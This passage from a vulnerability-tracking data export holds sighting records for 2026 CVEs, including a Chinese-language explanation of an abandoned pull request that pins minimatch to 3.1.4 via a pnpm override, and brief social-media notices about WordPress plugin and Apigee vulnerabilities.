\u7248\u672c\uff0c\u907f\u514d\u4ec5\u4fee\u6539\u6e05\u5355\u5374\u672a\u66f4\u65b0\u9501\u6587\u4ef6\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [pnpm-lock.yaml](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2175870?path=/pnpm-lock.yaml&_a=files) \u2014 \u66f4\u65b0 override\u3001\u5305\u5b8c\u6574\u6027\u4fe1\u606f\u53ca\u591a\u4e2a\u4f20\u9012\u4f9d\u8d56\u7684\u89e3\u6790\u7ed3\u679c\u3002\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **\u66ff\u6362\u6f0f\u6d1e\u7248\u672c**: \u9501\u6587\u4ef6\u79fb\u9664 `minimatch@3.1.2` \u7684\u89e3\u6790\u4e0e\u5feb\u7167\uff0c\u6539\u4e3a 3.1.4\uff0c\u5e76\u540c\u6b65\u66f4\u65b0\u5b8c\u6574\u6027\u54c8\u5e0c\uff0c\u786e\u4fdd\u5b89\u88c5\u65f6\u83b7\u53d6\u4fee\u590d\u540e\u7684\u5305\u3002\n2. **\u7edf\u4e00\u4f20\u9012\u4f9d\u8d56**: ESLint\u3001glob\u3001dotgitignore\u3001secretlint\u3001webpack \u76f8\u5173\u5de5\u5177\u53ca\u6d4b\u8bd5\u8986\u76d6\u5de5\u5177\u7b49\u591a\u4e2a\u4f9d\u8d56\u94fe\u5747\u4ece 3.1.2 \u6536\u655b\u5230 3.1.4\uff0c\u6269\u5927\u4e86\u6f0f\u6d1e\u4fee\u590d\u7684\u5b9e\u9645\u8986\u76d6\u8303\u56f4\u3002\n3. **\u6539\u53d8\u8f83\u65b0\u7248\u672c\u89e3\u6790**: `@types/minimatch@6.0.0` \u539f\u672c\u5173\u8054\u7684 `minimatch@10.0.3` \u4e5f\u88ab\u89e3\u6790\u4e3a 3.1.4\uff1b\u8fd9\u8bf4\u660e override \u7684\u5b9e\u9645\u4f5c\u7528\u8303\u56f4\u53ef\u80fd\u6bd4\u89c4\u5219\u6587\u5b57\u8868\u8fbe\u7684\u201c\u4ec5\u66ff\u6362\u4f4e\u4e8e 3.1.4\u201d\u66f4\u5e7f\uff0c\u9700\u8981\u91cd\u70b9\u9a8c\u8bc1\u7c7b\u578b\u5305\u3001\u6784\u5efa\u548c\u6d4b\u8bd5\u5de5\u5177\u7684\u517c\u5bb9\u6027\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n## \u5f71\u54cd\u5206\u6790\n\n- **\u5f71\u54cd\u8303\u56f4**: \u5f71\u54cd\u6574\u4e2a\u5de5\u4f5c\u533a\u7684 Node.js \u4f9d\u8d56\u89e3\u6790\uff0c\u4e3b\u8981\u6d89\u53ca\u5f00\u53d1\u3001Lint\u3001\u6784\u5efa\u3001\u6d4b\u8bd5\u3001\u6587\u6863\u68c0\u67e5\u548c\u53d1\u5e03\u8f85\u52a9\u5de5\u5177\uff1b\u672a\u770b\u5230\u4ea7\u54c1\u8fd0\u884c\u65f6\u4ee3\u7801\u6216\u4e1a\u52a1\u903b\u8f91\u7684\u76f4\u63a5\u4fee\u6539\u3002\n- **\u7528\u6237\u611f\u77e5**: \u7ec8\u7aef\u7528\u6237\u9884\u8ba1\u65e0\u76f4\u63a5\u529f\u80fd\u53d8\u5316\uff1b\u5f00\u53d1\u8005\u548c CI \u53ef\u80fd\u89c2\u5bdf\u5230\u4f9d\u8d56\u5b89\u88c5\u7ed3\u679c\u3001glob \u6a21\u5f0f\u5339\u914d\u884c\u4e3a\u6216\u5de5\u5177\u6267\u884c\u7ed3\u679c\u53d1\u751f\u53d8\u5316\u3002\u7531\u4e8e PR \u72b6\u6001\u4e3a abandoned\uff0c\u8be5\u4fee\u590d\u5f53\u524d\u4e0d\u4f1a\u8fdb\u5165 `main`\u3002\n- **\u98ce\u9669\u70b9**:\n  1. **\u8de8\u4e3b\u7248\u672c\u964d\u7ea7\u98ce\u9669**: \u9501\u6587\u4ef6\u663e\u793a `minimatch@10.0.3` \u88ab\u66ff\u6362\u4e3a 3.1.4\u3002\u4e24\u4e2a\u4e3b\u7248\u672c\u4e4b\u95f4\u7684 API\u3001\u6a21\u5757\u683c\u5f0f\u3001Node.js \u652f\u6301\u8303\u56f4\u548c\u5339\u914d\u8bed\u4e49\u53ef\u80fd\u4e0d\u540c\uff0c\u4f9d\u8d56\u65b0\u7248\u80fd\u529b\u7684\u5de5\u5177\u53ef\u80fd\u51fa\u73b0\u6784\u5efa\u5931\u8d25\u6216\u8fd0\u884c\u5f02\u5e38\u3002\n  2. **\u5168\u5c40\u8986\u76d6\u5f71\u54cd\u9762\u8f83\u5927**: override \u4f1a\u5f71\u54cd\u591a\u4e2a\u5f7c\u6b64\u72ec\u7acb\u7684\u4f20\u9012\u4f9d\u8d56\u3002\u5373\u4f7f\u5b89\u5168\u6f0f\u6d1e\u5f97\u5230\u4fee\u590d\uff0c\u4e5f\u5e94\u8fd0\u884c\u5b8c\u6574\u7684\u5b89\u88c5\u3001Lint\u3001\u6784\u5efa\u548c\u6d4b\u8bd5\u6d41\u7a0b\uff0c\u5e76\u91cd\u70b9\u68c0\u67e5 glob \u5339\u914d\u76f8\u5173\u4efb\u52a1\u3002\n  3. **\u786c\u7f16\u7801\u7248\u672c\u7ef4\u62a4\u98ce\u9669**: \u7cbe\u786e\u56fa\u5b9a\u4e3a 3.1.4 \u4e0d\u4f1a\u81ea\u52a8\u5438\u6536\u540e\u7eed\u8865\u4e01\uff1b\u672a\u6765\u82e5\u51fa\u73b0\u65b0\u7684\u6f0f\u6d1e\u6216\u517c\u5bb9\u6027\u4fee\u590d\uff0c\u9700\u8981\u518d\u6b21\u4eba\u5de5\u66f4\u65b0\u3002\n  4. **\u53d8\u66f4\u7edf\u8ba1\u4e0d\u4e00\u81f4**: PR \u5143\u6570\u636e\u62a5\u544a 3 \u4e2a\u6587\u4ef6\u53d1\u751f\u53d8\u5316\uff0c\u4f46\u63d0\u4f9b\u7684\u539f\u59cb diff \u4ec5\u5305\u542b 2 \u4e2a\u6587\u4ef6\uff0c\u7b2c\u4e09\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u548c\u5f71\u54cd\u65e0\u6cd5\u4ece\u5f53\u524d\u6750\u6599\u786e\u8ba4\u3002\n  5. **\u5b89\u5168\u8986\u76d6\u5b8c\u6574\u6027**: PR \u6807\u9898\u4ec5\u63d0\u53ca CVE-2026-26996\uff0c\u800c\u63cf\u8ff0\u540c\u65f6\u5173\u8054\u53e6\u5916\u4e24\u4e2a CVE\uff1b\u9700\u8981\u786e\u8ba4 3.1.4 \u786e\u5b9e\u662f\u5168\u90e8\u544a\u8b66\u8ba4\u53ef\u7684\u4fee\u590d\u7248\u672c\uff0c\u907f\u514d\u544a\u8b66\u88ab\u90e8\u5206\u5173\u95ed\u6216\u7248\u672c\u9009\u62e9\u4e0d\u8db3\u3002\n  6. **\u5e9f\u5f03\u72b6\u6001**: PR \u5df2 abandoned\uff0c\u5373\u4f7f\u65b9\u6848\u6709\u6548\u4e5f\u4e0d\u4f1a\u88ab\u5408\u5e76\uff0c\u76f8\u5173\u6f0f\u6d1e\u4ecd\u9700\u7531\u540e\u7eed PR \u6216\u5176\u4ed6\u5347\u7ea7\u8def\u5f84\u5904\u7406\u3002\n", "creation_timestamp": "2026-07-31T16:29:56.397832Z"}, {"uuid": "51c04b48-455c-4b64-a0cc-1cd22137c8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://gist.github.com/djlan/ef21bf2701462062118b04dbb13dc3f3", "content": "# PR \u89e3\u91ca: [SECURITY][SFI] Resolve Vulnerability in minimatch (CVE-2026-26996)\n\n\u8be5 PR \u901a\u8fc7 pnpm \u7248\u672c\u8986\u76d6\u7edf\u4e00\u66ff\u6362\u5b58\u5728\u6f0f\u6d1e\u7684\u65e7\u7248 `minimatch`\uff0c\u4ee5\u6d88\u9664\u7ec4\u4ef6\u6cbb\u7406\u544a\u8b66\uff0c\u4f46\u8986\u76d6\u89c4\u5219\u4e5f\u53ef\u80fd\u5f71\u54cd\u539f\u672c\u4f9d\u8d56\u8f83\u65b0\u4e3b\u7248\u672c\u7684\u5305\u3002\n\n**PR \u94fe\u63a5**: https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2175870\n**\u4f5c\u8005**: Agency\n**\u72b6\u6001**: abandoned\n**\u5206\u652f**: `copilot/api-690bd71d-40ef9c6a` \u2192 `main`\n**\u53d8\u66f4\u7edf\u8ba1**: 3 files changed, +18/-16 lines\uff08\u539f\u59cb diff \u4ec5\u5c55\u793a 2 \u4e2a\u6587\u4ef6\uff09\n\n## \u76ee\u5f55\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n\n---\n\n## \u53d8\u66f4\u6982\u89c8\n\n### 1. \u4f9d\u8d56\u5b89\u5168\u7b56\u7565\n\n**\u76ee\u7684**: \u5728\u4e0d\u9010\u4e00\u5347\u7ea7\u6240\u6709\u4e0a\u6e38\u4f9d\u8d56\u7684\u60c5\u51b5\u4e0b\uff0c\u901a\u8fc7\u5305\u7ba1\u7406\u5668\u7684\u96c6\u4e2d\u8986\u76d6\u673a\u5236\uff0c\u5c06\u4f4e\u4e8e\u5b89\u5168\u7248\u672c\u7684 `minimatch` \u7edf\u4e00\u89e3\u6790\u5230 3.1.4\uff0c\u5feb\u901f\u5173\u95ed CVE-2026-26996\u3001CVE-2026-27903 \u548c CVE-2026-27904 \u5bf9\u5e94\u7684\u7ec4\u4ef6\u6cbb\u7406\u544a\u8b66\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [package.json](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2175870?path=/package.json&_a=files) \u2014 \u5728 pnpm overrides \u4e2d\u589e\u52a0 `minimatch` \u7684\u5b89\u5168\u7248\u672c\u7ea6\u675f\u3002\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **\u96c6\u4e2d\u4fee\u590d\u6613\u53d7\u653b\u51fb\u7248\u672c**: \u65b0\u589e `minimatch@<3.1.4` \u5230 `3.1.4` \u7684\u8986\u76d6\u89c4\u5219\uff0c\u4f7f\u4f9d\u8d56\u6811\u4e2d\u547d\u4e2d\u8be5\u8303\u56f4\u7684\u65e7\u7248\u672c\u4e0d\u518d\u7ee7\u7eed\u4f7f\u7528 3.1.2\uff0c\u4ece\u6839\u6e90\u4e0a\u7edf\u4e00\u5b89\u5168\u57fa\u7ebf\uff0c\u800c\u4e0d\u662f\u4ec5\u4fee\u590d\u67d0\u4e00\u4e2a\u76f4\u63a5\u4f9d\u8d56\u3002\n2. **\u964d\u4f4e\u4e0a\u6e38\u5347\u7ea7\u6210\u672c**: \u8be5\u65b9\u6848\u65e0\u9700\u7b49\u5f85 ESLint\u3001glob\u3001secretlint \u7b49\u591a\u4e2a\u95f4\u63a5\u4f9d\u8d56\u5206\u522b\u53d1\u5e03\u5347\u7ea7\uff0c\u53ef\u66f4\u5feb\u54cd\u5e94\u5b89\u5168\u544a\u8b66\uff0c\u5e76\u4fdd\u6301\u73b0\u6709\u76f4\u63a5\u4f9d\u8d56\u7248\u672c\u57fa\u672c\u4e0d\u53d8\u3002\n3. **\u56fa\u5b9a\u4fee\u590d\u7248\u672c**: \u4f7f\u7528\u7cbe\u786e\u7248\u672c 3.1.4 \u53ef\u4fdd\u8bc1\u5b89\u88c5\u7ed3\u679c\u53ef\u590d\u73b0\uff0c\u4f46\u540e\u7eed\u5b89\u5168\u8865\u4e01\u4e0d\u4f1a\u81ea\u52a8\u8fdb\u5165\uff0c\u9700\u8981\u6301\u7eed\u7ef4\u62a4\u8986\u76d6\u89c4\u5219\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n### 2. \u4f9d\u8d56\u9501\u5b9a\u4e0e\u4f20\u9012\u4f9d\u8d56\u6536\u655b\n\n**\u76ee\u7684**: \u5c06\u58f0\u660e\u7684\u5b89\u5168\u8986\u76d6\u89c4\u5219\u843d\u5b9e\u5230\u5b9e\u9645\u5b89\u88c5\u56fe\u4e2d\uff0c\u786e\u4fdd\u672c\u5730\u3001CI \u548c\u53d1\u5e03\u73af\u5883\u5747\u89e3\u6790\u5230\u4e00\u81f4\u7684 `minimatch` \u7248\u672c\uff0c\u907f\u514d\u4ec5\u4fee\u6539\u6e05\u5355\u5374\u672a\u66f4\u65b0\u9501\u6587\u4ef6\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [pnpm-lock.yaml](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2175870?path=/pnpm-lock.yaml&_a=files) \u2014 \u66f4\u65b0 override\u3001\u5305\u5b8c\u6574\u6027\u4fe1\u606f\u53ca\u591a\u4e2a\u4f20\u9012\u4f9d\u8d56\u7684\u89e3\u6790\u7ed3\u679c\u3002\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **\u66ff\u6362\u6f0f\u6d1e\u7248\u672c**: \u9501\u6587\u4ef6\u79fb\u9664 `minimatch@3.1.2` \u7684\u89e3\u6790\u4e0e\u5feb\u7167\uff0c\u6539\u4e3a 3.1.4\uff0c\u5e76\u540c\u6b65\u66f4\u65b0\u5b8c\u6574\u6027\u54c8\u5e0c\uff0c\u786e\u4fdd\u5b89\u88c5\u65f6\u83b7\u53d6\u4fee\u590d\u540e\u7684\u5305\u3002\n2. **\u7edf\u4e00\u4f20\u9012\u4f9d\u8d56**: ESLint\u3001glob\u3001dotgitignore\u3001secretlint\u3001webpack \u76f8\u5173\u5de5\u5177\u53ca\u6d4b\u8bd5\u8986\u76d6\u5de5\u5177\u7b49\u591a\u4e2a\u4f9d\u8d56\u94fe\u5747\u4ece 3.1.2 \u6536\u655b\u5230 3.1.4\uff0c\u6269\u5927\u4e86\u6f0f\u6d1e\u4fee\u590d\u7684\u5b9e\u9645\u8986\u76d6\u8303\u56f4\u3002\n3. **\u6539\u53d8\u8f83\u65b0\u7248\u672c\u89e3\u6790**: `@types/minimatch@6.0.0` \u539f\u672c\u5173\u8054\u7684 `minimatch@10.0.3` \u4e5f\u88ab\u89e3\u6790\u4e3a 3.1.4\uff1b\u8fd9\u8bf4\u660e override \u7684\u5b9e\u9645\u4f5c\u7528\u8303\u56f4\u53ef\u80fd\u6bd4\u89c4\u5219\u6587\u5b57\u8868\u8fbe\u7684\u201c\u4ec5\u66ff\u6362\u4f4e\u4e8e 3.1.4\u201d\u66f4\u5e7f\uff0c\u9700\u8981\u91cd\u70b9\u9a8c\u8bc1\u7c7b\u578b\u5305\u3001\u6784\u5efa\u548c\u6d4b\u8bd5\u5de5\u5177\u7684\u517c\u5bb9\u6027\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n## \u5f71\u54cd\u5206\u6790\n\n- **\u5f71\u54cd\u8303\u56f4**: \u5f71\u54cd\u6574\u4e2a\u5de5\u4f5c\u533a\u7684 Node.js \u4f9d\u8d56\u89e3\u6790\uff0c\u4e3b\u8981\u6d89\u53ca\u5f00\u53d1\u3001Lint\u3001\u6784\u5efa\u3001\u6d4b\u8bd5\u3001\u6587\u6863\u68c0\u67e5\u548c\u53d1\u5e03\u8f85\u52a9\u5de5\u5177\uff1b\u672a\u770b\u5230\u4ea7\u54c1\u8fd0\u884c\u65f6\u4ee3\u7801\u6216\u4e1a\u52a1\u903b\u8f91\u7684\u76f4\u63a5\u4fee\u6539\u3002\n- **\u7528\u6237\u611f\u77e5**: \u7ec8\u7aef\u7528\u6237\u9884\u8ba1\u65e0\u76f4\u63a5\u529f\u80fd\u53d8\u5316\uff1b\u5f00\u53d1\u8005\u548c CI \u53ef\u80fd\u89c2\u5bdf\u5230\u4f9d\u8d56\u5b89\u88c5\u7ed3\u679c\u3001glob \u6a21\u5f0f\u5339\u914d\u884c\u4e3a\u6216\u5de5\u5177\u6267\u884c\u7ed3\u679c\u53d1\u751f\u53d8\u5316\u3002\u7531\u4e8e PR \u72b6\u6001\u4e3a abandoned\uff0c\u8be5\u4fee\u590d\u5f53\u524d\u4e0d\u4f1a\u8fdb\u5165 `main`\u3002\n- **\u98ce\u9669\u70b9**:\n  1. **\u8de8\u4e3b\u7248\u672c\u964d\u7ea7\u98ce\u9669**: \u9501\u6587\u4ef6\u663e\u793a `minimatch@10.0.3` \u88ab\u66ff\u6362\u4e3a 3.1.4\u3002\u4e24\u4e2a\u4e3b\u7248\u672c\u4e4b\u95f4\u7684 API\u3001\u6a21\u5757\u683c\u5f0f\u3001Node.js \u652f\u6301\u8303\u56f4\u548c\u5339\u914d\u8bed\u4e49\u53ef\u80fd\u4e0d\u540c\uff0c\u4f9d\u8d56\u65b0\u7248\u80fd\u529b\u7684\u5de5\u5177\u53ef\u80fd\u51fa\u73b0\u6784\u5efa\u5931\u8d25\u6216\u8fd0\u884c\u5f02\u5e38\u3002\n  2. **\u5168\u5c40\u8986\u76d6\u5f71\u54cd\u9762\u8f83\u5927**: override \u4f1a\u5f71\u54cd\u591a\u4e2a\u5f7c\u6b64\u72ec\u7acb\u7684\u4f20\u9012\u4f9d\u8d56\u3002\u5373\u4f7f\u5b89\u5168\u6f0f\u6d1e\u5f97\u5230\u4fee\u590d\uff0c\u4e5f\u5e94\u8fd0\u884c\u5b8c\u6574\u7684\u5b89\u88c5\u3001Lint\u3001\u6784\u5efa\u548c\u6d4b\u8bd5\u6d41\u7a0b\uff0c\u5e76\u91cd\u70b9\u68c0\u67e5 glob \u5339\u914d\u76f8\u5173\u4efb\u52a1\u3002\n  3. **\u786c\u7f16\u7801\u7248\u672c\u7ef4\u62a4\u98ce\u9669**: \u7cbe\u786e\u56fa\u5b9a\u4e3a 3.1.4 \u4e0d\u4f1a\u81ea\u52a8\u5438\u6536\u540e\u7eed\u8865\u4e01\uff1b\u672a\u6765\u82e5\u51fa\u73b0\u65b0\u7684\u6f0f\u6d1e\u6216\u517c\u5bb9\u6027\u4fee\u590d\uff0c\u9700\u8981\u518d\u6b21\u4eba\u5de5\u66f4\u65b0\u3002\n  4. **\u53d8\u66f4\u7edf\u8ba1\u4e0d\u4e00\u81f4**: PR \u5143\u6570\u636e\u62a5\u544a 3 \u4e2a\u6587\u4ef6\u53d1\u751f\u53d8\u5316\uff0c\u4f46\u63d0\u4f9b\u7684\u539f\u59cb diff \u4ec5\u5305\u542b 2 \u4e2a\u6587\u4ef6\uff0c\u7b2c\u4e09\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u548c\u5f71\u54cd\u65e0\u6cd5\u4ece\u5f53\u524d\u6750\u6599\u786e\u8ba4\u3002\n  5. **\u5b89\u5168\u8986\u76d6\u5b8c\u6574\u6027**: PR \u6807\u9898\u4ec5\u63d0\u53ca CVE-2026-26996\uff0c\u800c\u63cf\u8ff0\u540c\u65f6\u5173\u8054\u53e6\u5916\u4e24\u4e2a CVE\uff1b\u9700\u8981\u786e\u8ba4 3.1.4 \u786e\u5b9e\u662f\u5168\u90e8\u544a\u8b66\u8ba4\u53ef\u7684\u4fee\u590d\u7248\u672c\uff0c\u907f\u514d\u544a\u8b66\u88ab\u90e8\u5206\u5173\u95ed\u6216\u7248\u672c\u9009\u62e9\u4e0d\u8db3\u3002\n  6. **\u5e9f\u5f03\u72b6\u6001**: PR \u5df2 abandoned\uff0c\u5373\u4f7f\u65b9\u6848\u6709\u6548\u4e5f\u4e0d\u4f1a\u88ab\u5408\u5e76\uff0c\u76f8\u5173\u6f0f\u6d1e\u4ecd\u9700\u7531\u540e\u7eed PR \u6216\u5176\u4ed6\u5347\u7ea7\u8def\u5f84\u5904\u7406\u3002\n", "creation_timestamp": "2026-07-31T16:29:56.487814Z"}, {"uuid": "22abd264-ceda-4ace-87b4-e15b4156d728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27421", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlbdrwbppn2i", "content": "CVE-2026-27421 - WordPress Royal Elementor Addons plugin\nCVE ID : CVE-2026-27421\n \n Published : May 7, 2026, 9:16 a.m. | 3\u00a0hours, 8\u00a0minutes ago\n \n Description : Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WProyal Royal ...", "creation_timestamp": "2026-05-07T13:41:25.996961Z"}, {"uuid": "71b9b525-c83e-4304-82c6-2d79dfec0000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27329", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlbe2ybu6t2h", "content": "CVE-2026-27329 - WordPress YITH WooCommerce Wishlist plugin\nCVE ID : CVE-2026-27329\n \n Published : May 7, 2026, 9:16 a.m. | 3\u00a0hours, 8\u00a0minutes ago\n \n Description : Authorization Bypass Through User-Controlled Key vulnerability in YITH YITH WooCommerce Wishlist allows Exploitin...", "creation_timestamp": "2026-05-07T13:46:30.469213Z"}, {"uuid": "3c59ed4a-d998-4ac6-8f87-526e99198f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27416", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlbe4swj452v", "content": "CVE-2026-27416 - WordPress PDF Poster plugin\nCVE ID : CVE-2026-27416\n \n Published : May 7, 2026, 9:16 a.m. | 3\u00a0hours, 8\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in bPlugins PDF Poster allows Exploiting Incorrectly Configured Access Control Security Leve...", "creation_timestamp": "2026-05-07T13:47:31.754283Z"}, {"uuid": "6a6be1f6-9029-4369-97db-5543708feea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27415", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlbedgccba2t", "content": "CVE-2026-27415 - WordPress BEAR plugin\nCVE ID : CVE-2026-27415\n \n Published : May 7, 2026, 11:15 a.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : Cross-Site Request Forgery (CSRF) vulnerability in PluginUs.Net BEAR allows Cross Site Request Forgery.\n\nThis issue affects BEAR: from...", "creation_timestamp": "2026-05-07T13:51:13.196782Z"}, {"uuid": "d42e4b83-6249-45ff-91d2-4fecdbc239e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mlbfrmevck2n", "content": "Critical RCE vulnerability (CVE-2026-27174) found in MajorDoMo smart home platform. Immediate action required to secure systems. #CyberSecurity #SmartHome #IoT #MajorDoMo #RCE Link: thedailytechfeed.com/critical-rce...", "creation_timestamp": "2026-05-07T14:17:03.879411Z"}, {"uuid": "afa86314-8757-4a22-af26-c235e585bfb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27144", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteahwco2i", "content": "CVE-2025-15558 CVE-2025-15281 N/A Security fixes for apigee-asm-istiod. This addresses the following vulnerabilities: CVE-2026-33186 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for", "creation_timestamp": "2026-05-07T18:20:11.125646Z"}, {"uuid": "fef9cfa5-42fb-4e05-8469-d93a561ec139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27143", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteahwco2i", "content": "CVE-2025-15558 CVE-2025-15281 N/A Security fixes for apigee-asm-istiod. This addresses the following vulnerabilities: CVE-2026-33186 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for", "creation_timestamp": "2026-05-07T18:20:11.327983Z"}, {"uuid": "e28127b8-3e2c-4311-9be5-3cbcebf00b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteahwco2i", "content": "CVE-2025-15558 CVE-2025-15281 N/A Security fixes for apigee-asm-istiod. This addresses the following vulnerabilities: CVE-2026-33186 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for", "creation_timestamp": "2026-05-07T18:20:11.520207Z"}, {"uuid": "0616adc1-ac9c-422b-b2f1-4fa78b19a5c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27144", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteatrxb25", "content": "This addresses the following vulnerabilities: CVE-2026-34481 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for apigee-hybrid-cassandra-client", "creation_timestamp": "2026-05-07T18:20:14.826477Z"}, {"uuid": "c0ffd066-de8b-4bd9-930c-f0a401854355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27143", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteatrxb25", "content": "This addresses the following vulnerabilities: CVE-2026-34481 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for apigee-hybrid-cassandra-client", "creation_timestamp": "2026-05-07T18:20:15.219917Z"}, {"uuid": "dc618c40-43e6-485a-b9ab-c5bee3de1989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteatrxb25", "content": "This addresses the following vulnerabilities: CVE-2026-34481 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for apigee-hybrid-cassandra-client", "creation_timestamp": "2026-05-07T18:20:15.507512Z"}, {"uuid": "e4d38fc7-6399-441d-8e04-c7cda111530e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteazi222q", "content": "This addresses the following vulnerabilities: CVE-2026-39883 CVE-2026-33186 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for apigee-kube-rbac-proxy", "creation_timestamp": "2026-05-07T18:20:19.337076Z"}, {"uuid": "edf0ef0d-ca41-4051-bd9e-608a48a9d9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27144", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteazi222q", "content": "This addresses the following vulnerabilities: CVE-2026-39883 CVE-2026-33186 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for apigee-kube-rbac-proxy", "creation_timestamp": "2026-05-07T18:20:19.033213Z"}, {"uuid": "4770a1d4-0418-4df6-bf41-7dd7c80a6869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27143", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteazi222q", "content": "This addresses the following vulnerabilities: CVE-2026-39883 CVE-2026-33186 CVE-2026-32283 CVE-2026-32281 CVE-2026-32280 CVE-2026-27144 CVE-2026-27143 CVE-2026-27140 CVE-2026-25679 N/A Security fixes for apigee-kube-rbac-proxy", "creation_timestamp": "2026-05-07T18:20:19.182046Z"}, {"uuid": "994640c5-8680-48ae-875a-4390e3ccf6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlc5ty7npe2i", "content": "CVE-2026-39823 - Bypass of meta content URL escaping 